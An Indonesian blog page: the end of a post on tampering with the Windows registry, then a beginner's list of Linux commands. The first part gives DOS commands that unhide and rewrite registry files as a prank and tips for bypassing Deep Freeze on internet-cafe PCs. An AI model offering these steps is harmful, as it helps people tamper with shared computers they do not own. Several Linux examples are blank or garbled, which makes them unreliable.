C:\>cd windows
C:\windows>attrib -r -h -s user.dat
C:\windows>attrib -r -h -s system.dat
C:\windows>scanreg /fix
Aku harap kalian ngerti dengan perintah dos , dan aku ga akan menjelaskanya
lalu coba restart pc , dan coba lihat apa yg ternyadi :d
"segini dulu deh, semoga bermanfaat!, jangan dibuat yang aneh-aneh kalo
gak mau jadi aneh :P"
Nb: Kalo Komputer Warnet pake Defreeze Tidak akan bias kecuali dibuka dulu, caranya
bisa pake tools unfreeze atau yang lain.setelah itu baru coba lagi. Untuk mengetahui ada
Defreeze atau gak tekan tombol kombinasi Ctrl+Alt+Shift+F6.

Lanjutan “== BERMAIN DENGAN REGISTRY WINDOWS ==”  »»
| 1 komentar: ]

Seperti halnya bila kita mengetikkan perintah di DOS, command line atau baris perintah Linux juga diketikkan di prompt dan diakhiri enter untuk mengeksekusi perintah tersebut. Baris perintah merupakan cara yang lebih efisien untuk melakukan sesuatu pekerjaan oleh karena itu pemakai Linux tetap mengandalkan cara ini untuk bekerja.

Sebaiknya pemula juga harus mengetahui dan sedikitnya pernah menggunanakan perintah baris ini karena suatu saat pengetahuan akan perintah-perintah ini bisa sangat diperlukan.Saya mengumpulkan beberapa perintah dasar yang mungkin kelak akan sering digunakan terutama oleh para pemula. Perhatian: pengetahuan akan perintah-perintah yang lain akan segera bertambah seiring dengan kemajuan Anda menguasai sistem operasi Linux ini. Penjelasan masing-masing perintah akan dipersingkat saja dan untuk mengetahui lebih detail lagi fungsi-fungsi suatu perintah, Anda dapat melihat manualnya, misalnya dengan mengetikkan perintah man:

$ man ls

Manual tersebut akan menampilkan bagaimana cara penggunaan perintah ls itu secara lengkap.


-- Perintah &

Perintah & dipakai dibelakang perintah lain dan menjalankannya di background. Tujuannya adalah untuk membebaskan shell agar bisa dipergunakan menjalankan proses-proses yang lain. Lihat juga perintah bg dan fg.


-- Perintah adduser

Biasanya hanya dilakukan oleh root untuk menambahkan user atau account yg baru. Setelah perintah ini bisa dilanjutkan dengan perintah passwd, yaitu perintah untuk membuat password bagi user tersebut.

# adduser scut
# passwd scut

Selanjutnya Anda akan diminta memasukkan password untuk user udin. Isikan password untuk udin dua kali dengan kata yang sama.


-- Perintah alias

Digunakan untuk memberi nama lain dari sebuah perintah. Misalnya bila Anda ingin perintah ls dapat juga dijalankandengan mengetikkan perintah dir, maka buatlah aliasnya sbb:

$ alias dir=ls

Untuk melihat perintah-perintah apa saja yang mempunyai nama lain saat itu, cukup ketikkan alias. Lihat juga perintah unalias.


-- Perintah bg

Untuk memaksa sebuah proses yang dihentikan sementara(suspend) agar berjalan di background. Misalnya Anda sedang menjalankan sebuah perintah di foreground (tanpa diakhiri perintah &) dan suatu saat Anda membutuhkan shell tersebut maka Anda dapat memberhentikan sementara perintah tersebut dengan Ctrl-Z kemudian ketikan perintah bg untuk menjalakannya di background. Dengan cara ini Anda telah membebaskanshell tapi tetap mempertahankan perintah lama berjalan di background. Lihat juga perintah fg.


-- Perintah cat

Menampilkan isi dari sebuah file di layar.

$ cat namafile


-- Perintah cd

Change Directory atau untuk berpindah direktori dan saya kira Anda tidak akan menemui kesulitan menggunakan perintah ini karena cara penggunaanya mirip dengan perintah cd di DOS.


-- Perintah chgrp

Perintah ini digunakan untuk merubah kepemilikan kelompok file atau direktori. Misalnya untuk memberi ijin pada kelompok atau grup agar dapat mengakses suatu file. Sintaks penulisannya adalah sbb:

# chgrp


-- Perintah chmod

Digunakan untuk menambah dan mengurangi ijin pemakai untuk mengakses file atau direktori. Anda dapat menggunakan sistem numeric coding atau sistem letter coding. Ada tiga jenis permission/perijinan yang dapat dirubah yaitu r untuk read, w untuk write dan x untuk execute.

Dengan menggunakan letter coding, Anda dapat merubah permission diatas untuk masing-masing u (user), g (group), o (other) dan a (all) dengan hanya memberi tanda plus (+) untuk menambah ijin dan tanda minus (-) untuk mencabut ijin.

Misalnya untuk memberikan ijin baca dan eksekusi file coba1 kepada owner dan group, perintahnya adalah:

$ chmod ug+rx coba1

Untuk mencabut ijin-ijin tersebut:

$ chmod ug-rx coba1

Dengan menggunakan sitem numeric coding, permission untukuser, group dan other ditentukan dengan menggunakan kombinasi angka-angka, 4, 2 dan 1 dimana 4 (read), 2 (write) dan 1 (execute).

Misalnya untuk memberikan ijin baca(4), tulis(2) dan eksekusi(1) file coba2 kepada owner, perintahnya adalah:

$ chmod 700 coba2

Contoh lain, untuk memberi ijin baca(4) dan tulis(2) file coba3 kepada user, baca(4) saja kepada group dan other, perintahnya adalah:

$ chmod 644 coba3


-- Perintah chown

Merubah user ID (owner) sebuah file atau direktori

$ chown


-- Perintah cp

Untuk menyalin file atau copy. Misalnya untuk menyalin file1 menjadi file2:

$ cp


-- Perintah fg

Mengembalikan suatu proses yang dihentikan sementar(suspend) agar berjalan kembali di foreground. Lihat juga perintah bg diatas.



-- Perintah find

Untuk menemukan dimana letak sebuah file. Perintah ini akan mencari file sesuai dengan kriteria yang Anda tentukan. Sintaksnya adalah perintah itu sendiri diikuti dengan nama direktori awal pencarian, kemudian nama file (bisa menggunakan wildcard, metacharacters) dan terakhir menentukan bagaimana hasil pencarian itu akan ditampilkan. Misalnya akan dicari semua file yang berakhiran .doc di current direktori serta tampilkan hasilnya di layar:

$ find . -name *.doc -print
. /public/docs/account.doc
. /public/docs/balance.doc
. /public/docs/statistik/prospek.doc
./public/docs/statistik/presconf.doc


-- Perintah grep

Global regular expresion parse atau grep adalah perintah untuk mencari file-file yang mengandung teks dengan kriteria yang telah Anda tentukan.

$ grep

Misalnya akan dicari file-file yang mengandung teks marginal di current direktori:

$ grep marginal
diferent.doc: Catatan: perkataan marginal luas dipergunakan di dalam ilmu ekonomi
prob.rtf: oleh fungsi hasil marginal dan fungsi biaya marginal jika fungsi
prob.rtf: jika biaya marginal dan hasil marginal diketahui maka biaya total


-- Perintah gzip

Ini adalah software kompresi zip versi GNU, fungsinya untuk mengkompresi sebuah file. Sintaksnya sangat sederhana:

$ gzip

Walaupun demikian Anda bisa memberikan parameter tertentu bila memerlukan kompresi file yang lebih baik, silakan melihat manual page-nya. Lihat juga file tar, unzip dan zip.


-- Perintah halt

Perintah ini hanya bisa dijalankan oleh super user atau Anda harus login sebagai root. Perintah ini untuk memberitahu kernel supaya mematikan sistem atau shutdown.


-- Perintah hostname

Untuk menampilkan host atau domain name sistem dan bisa pula digunakan untuk mengesset nama host sistem.

[flory@localhost docs] $ hostname
localhost.localdomain


-- Perintah kill

Perintah ini akan mengirimkan sinyal ke sebuah proses yang kita tentukan. Tujuannya adalah menghentikan proses.

$ kill

PID adalah nomor proses yang akan di hentikan.



-- Perintah less

Perintah ini sama fungsinya dengan perintah more (melihat isi dari sebuah file) dan hampir sama juga dengan perintah cat.



-- Perintah login

Untuk masuk ke sistem dengan memasukkan login ID atau dapat juga digunakan untuk berpindah dari user satu ke user lainnya.



-- Perintah logout

Perintah yang digunakan apabila kita mau keluar dari sistem



-- Perintah ls

Menampilkan isi dari sebuah direktori seperti perintah dir di DOS. Anda dapat menggunakan beberapa option yang disediakan untuk mengatur tampilannya di layar. Bila Anda menjalankan perintah ini tanpa option maka akan ditampilkan seluruh file nonhidden(file tanpa awalan tanda titik) secara alfabet dan secara melebar mengisi kolom layar. Option -la artinya menampilkan seluruh file/all termasuk file hidden(file dengan awalan tanda titik) dengan format panjang.

$ ls

$ ls -al

$ ls -a1



-- Perintah man

Untuk menampilkan manual page atau teks yang menjelaskan secara detail bagaimana cara penggunaan sebuah perintah. Perintah ini berguna sekali bila sewaktu-waktu Anda lupa atau tidak mengetahui fungsi dan cara menggunakan sebuah perintah.

$ man


-- Perintah mesg

Perintah ini digunakan oleh user untuk memberikan ijin user lain menampilkan pesan dilayar terminal. Misalnya mesg Anda dalam posisi y maka user lain bisa menampilkan pesan di layar Anda dengan write atau talk.

$ mesg y atau mesg n

Gunakan mesg n bila Anda tidak ingin diganggu dengan tampilan pesan-pesan dari user lain.


-- Perintah mkdir

Membuat direktori baru, sama dengan perintah md di DOS.

$ mkdir


-- Perintah more

Mempaging halaman, seperti halnya less.


-- Perintah mount

Perintah ini akan me-mount filesystem ke suatu direktori atau mount-point yang telah ditentukan. Hanya superuser yang bisa menjalankan perintah ini. Untuk melihat filesystem apa saja beserta mount-pointnya saat itu, ketikkan perintah mount. Perintah ini dapat Anda pelajari di bab mengenai filesystem. Lihat juga perintah umount.

$ mount
/dev/hda3 on / type ext2 (rw)
none on /proc type proc (rw)
/dev/hda1 on /dos type vfat (rw)
/dev/hda4 on /usr type ext2 (rw)
none on /dev/pts type devpts (rw,mode=0622)


-- Perintah mv

Untuk memindahkan file dari satu lokasi ke lokasi yang lain. Bila argumen yang kedua berupa sebuah direktori maka mv akan memindahkan file ke direktori tersebut. Bila kedua argumen berupa file maka nama file pertama akan menimpa file kedua. Akan terjadi kesalahan bila Anda memasukkan lebih dari dua argumen kecuali argumen terakhir berupa sebuah direktori.

$ mv psybnc /var/tmp

$ mv psybnc



-- Perintah passwd

Digunakan untuk mengganti password. Anda akan selalu diminta mengisikan password lama dan selanjutnya akan diminta mengisikan password baru sebanyak dua kali. Password sedikitnya terdiri dari enam karakter dan sedikitnya mengandung sebuah karakter.

$ passwd


-- Perintah pwd

Menampilkan nama direktori dimana Anda saat itu sedang berada.



-- Perintah rm

Untuk menghapus file dan secara default rm tidak menghapus direktori. Gunakan secara hati-hati perintah ini terutama dengan option -r yang secara rekursif dapat mengapus seluruh file.

$ rm -rf

$ rm -f

$ rm



-- Perintah rmdir

Untuk menghapus direktori kosong.

$ rmdir


-- Perintah shutdown

Perintah ini untuk mematikan sistem, seperti perintah halt. Pada beberapa sistem anda bisa menghentikan komputer dengan perintah shutdown -h now dan merestart sistem dengan perintah shutdown -r now atau dengan kombinasi tombol Ctr-Alt-Del.

# shutdown -r now


-- Perintah su

Untuk login sementara sebagai user lain. Bila user ID tidak disertakan maka komputer menganggap Anda ingin login sementara sebagai super user atau root. Bila Anda bukan root dan user lain itu memiliki password maka Anda harus memasukkan passwordnya dengan benar. Tapi bila Anda adalah root maka Anda dapat login sebagai user lain tanpa perlu mengetahui password user tersebut.


-- Perintah tail

Menampilkan 10 baris terakhir dari suatu file. Default baris yang ditampilkan adalah 10 tapi Anda bisa menentukan sendiri berapa baris yang ingin ditampilkan:

$ tail



-- Perintah talk

Untuk mengadakan percakapan melalui terminal. Input dari terminal Anda akan disalin di terminal user lain, begitu sebaliknya.



-- Perintah tar

Menyimpan dan mengekstrak file dari media seperti tape drive atau hard disk. File arsip tersebut sering disebut sebagai file tar. Sintaknya sebagai berikut:

$ tar



-- Perintah umount

Adalah kebalikan dari perintah mount, yaitu untuk meng-unmount filesystem dari mount-pointnya. Setelah perintah ini dijalankan direktori yang menjadi mount-point tidak lagi bisa digunakan.

# umount


-- Perintah unalias

Kebalikan dari perintah alias, perintah ini akan membatalkan sebuah alias. Jadi untuk membatalkan alias dir seperti telah dicontohkan diatas, gunakan perintah:

$ unalias dir


-- Perintah unzip

Digunakan untuk mengekstrak atau menguraikan file yang dikompres dengan zip. Sintaknya sederhana dan akan mengekstrak file yang anda tentukan:

$ unzip


Lihat juga perintah-perintah gzip dan unzip.


-- Perintah wall

Mengirimkan pesan dan menampilkannya di terminal tiap user yang sedang login. Perintah ini berguna bagi superuser atau root untuk memberikan peringatan ke seluruh user, misalnya pemberitahuan bahwa server sesaat lagi akan dimatikan.

# who Dear, everyone..... segera simpan pekerjaan kalian, server akan saya matikan 10 menit lagi.


-- Perintah who

Untuk menampilkan siapa saja yang sedang login. Perintah ini akan menampilkan informasi mengenai login name, jenis terminal, waktu login dan remote hostname untuk setiap user yang saat itu sedang login. Misalnya:

$ who


-- Perintah xhost +

Perintah ini digunakan untuk memberi akses atau menghapus akses(xhost -) host atau user ke sebuah server X.


-- Perintah xset

Perintah ini untuk mengeset beberapa option di X Window seperti bunyi bel, kecepatan mouse, font, parameter screen saver dan sebagainya. Misalnya bunyi bel dan kecepatan mouse dapat Anda set menggunakan perintah ini:

$ xset b

$ xset m


-- Perintah zip

Perintah ini akan membuat dan menambahkan file ke dalam file arsip zip. Lihat juga perintah gzip dan unzip.


Selamat Belajar.

Lanjutan “Linux Untuk Pemula”  »»